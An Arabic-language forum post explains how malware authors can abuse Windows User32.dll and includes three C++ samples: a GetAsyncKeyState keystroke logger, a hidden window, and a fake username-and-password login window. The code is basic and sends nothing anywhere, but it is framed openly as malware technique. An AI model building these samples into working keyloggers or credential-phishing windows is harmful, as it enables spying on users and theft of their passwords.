x32x01
أدارة أكتب كود
- بواسطة x32x01 ||
مكتبة User32.dll في ويندوز فيها دوال كتير بتسمح للتطبيقات تتعامل مع واجهة المستخدم الرسومية (GUI) زي إنشاء النوافذ والتعامل مع الرسائل والحاجات اللي زي دي. طيب، إزاي الهكرز ومطوري البرمجيات الخبيثة ممكن يستغلوا المكتبة دي ؟
الكود ده بيستخدم دالة GetAsyncKeyState عشان يتجسس على ضغطات المفاتيح ويطبعها.
1. إخفاء البرمجيات الخبيثة:
- ممكن يستخدموا دوال من User32.dll عشان يعملوا نوافذ مخفية أو غير مرئية للمستخدم. ده بيخلي البرمجيات الخبيثة تشتغل في الخلفية من غير ما حد يحس بيها.2. التجسس على المستخدم:
- ممكن يستخدموا دوال زي GetAsyncKeyState أو GetForegroundWindow عشان يلتقطوا ضغطات المفاتيح أو يعرفوا إيه النافذة اللي شغالة دلوقتي، وبالتالي يقدروا يتجسسوا على المستخدم ويسرقوا بياناته الشخصية أو كلمات المرور.3. خداع المستخدم:
ممكن يعملوا نوافذ مزيفة (Fake Windows) تشبه نوافذ نظام التشغيل الحقيقية، زي نوافذ تسجيل الدخول أو رسائل الخطأ، ويخدعوا المستخدم عشان يدخل بياناته الشخصية.4. إحداث اضطرابات:
ممكن يستخدموا دوال زي MessageBox عشان يفتحوا عدد كبير من النوافذ بسرعة، وده يؤدي لإزعاج المستخدم أو حتى تعطيل النظام.أزاي مطور البرمجيات الخبيثة يستغل User32.dll
1. استخدام الدوال للتجسس:
ده مثال لكود بسيط للتجسس على ضغطات المفاتيح: C++:
#include <windows.h>
#include <stdio.h>
int main() {
while (1) {
for (int i = 8; i <= 190; i++) {
if (GetAsyncKeyState(i) & 0x0001) {
printf("%c ", i);
}
}
Sleep(10);
}
return 0;
}
2. إنشاء نوافذ مخفية:
ده كود لإنشاء نافذة مخفية: C++:
#include <windows.h>
int main() {
HWND hwnd = CreateWindowEx(
0,
"STATIC",
"Hidden Window",
WS_OVERLAPPEDWINDOW,
0, 0, 300, 300,
NULL,
NULL,
GetModuleHandle(NULL),
NULL
);
ShowWindow(hwnd, SW_HIDE); // إخفاء النافذة
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return 0;
}
3. خداع المستخدم بنوافذ مزيفة:
ده كود لإنشاء نافذة تسجيل دخول مزيفة: C++:
#include <windows.h>
LRESULT CALLBACK WindowProcedure(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
switch (msg) {
case WM_CREATE:
CreateWindow("STATIC", "Enter Username:", WS_VISIBLE | WS_CHILD, 50, 50, 200, 20, hwnd, NULL, NULL, NULL);
CreateWindow("EDIT", "", WS_VISIBLE | WS_CHILD | WS_BORDER, 50, 70, 200, 20, hwnd, NULL, NULL, NULL);
CreateWindow("STATIC", "Enter Password:", WS_VISIBLE | WS_CHILD, 50, 100, 200, 20, hwnd, NULL, NULL, NULL);
CreateWindow("EDIT", "", WS_VISIBLE | WS_CHILD | WS_BORDER | ES_PASSWORD, 50, 120, 200, 20, hwnd, NULL, NULL, NULL);
CreateWindow("BUTTON", "Login", WS_VISIBLE | WS_CHILD, 50, 150, 200, 30, hwnd, (HMENU) 1, NULL, NULL);
break;
case WM_COMMAND:
if (LOWORD(wParam) == 1) {
MessageBox(hwnd, "Logged in!", "Info", MB_OK);
}
break;
case WM_DESTROY:
PostQuitMessage(0);
break;
default:
return DefWindowProc(hwnd, msg, wParam, lParam);
}
return 0;
}
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR args, int ncmdshow) {
WNDCLASS wc = {};
wc.hInstance = hInst;
wc.lpszClassName = "LoginWindow";
wc.lpfnWndProc = WindowProcedure;
RegisterClass(&wc);
HWND hwnd = CreateWindow(wc.lpszClassName, "Login", WS_OVERLAPPEDWINDOW | WS_VISIBLE, 100, 100, 300, 250, NULL, NULL, hInst, NULL);
MSG msg = {};
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return 0;
}